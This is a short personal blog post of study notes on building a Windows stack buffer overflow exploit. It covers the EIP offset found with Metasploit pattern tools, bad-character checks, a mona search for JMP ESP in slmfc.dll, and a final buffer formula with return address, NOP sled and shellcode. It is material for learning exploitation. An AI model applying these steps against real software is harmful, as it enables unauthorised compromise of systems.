Buffer Overflow

Buffer over flows are not simple. this post is my own notes if it makes sense feel free to use it.

Stack Overflow

Find Vulnerable program and possibly starting Skelton script. Attach program to Olle Debugger, and send payload to crash program. Now the fun starts.

Step 1: Finding and controlling EIP

use pattern_create.rb to generate code.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3500

Step-2 Use pattern_offset to find exact location on EIP

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438
[*] Exact match at offset 2606

Replace 4 bytes after offset with B and rest of the code with C and re check code

Step-3: finding badchars

After EIP send all bad chars and step through one by one. it should not take long and do not rely on any other methods.

badchars = (

“\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff” )

Step-4: Finding JMP or equivalent

once we control EIP we then need to find a place where EIP points so our code can jump there, keeping DEP and ASLR in mind.

nasm > jmp esp
00000000 FFE4 jmp esp
nasm >

Step-5: Mona

Use !mona modules to see all available modules.

click on m icon to load memory modules and see one for identified modules. if there is DEP and ASLR present we need to look for .text or else we can use any registry.

then use Nasm shell to obtain location of JMP ESP and use mona to find JMP instruction in required file.

!mona find -s “\xff\xe4” -m slmfc.dll

Use extreme caution as mona discriminates forward and backward slash

double verify with code section.

and finally use that as 4 bytes based on little endian or big endian

5F4A358F becomes \x8f\x35\x4a\x5f for little endian

then use following formule

buffer = ‘A’2606 + ‘\x8f\x35\x4a\x5f’ + ‘\x90’*16 + shellcode + ‘C’*(3500-351-2606-4-16)

i will add more as i go along


Leave a Reply

Your email address will not be published.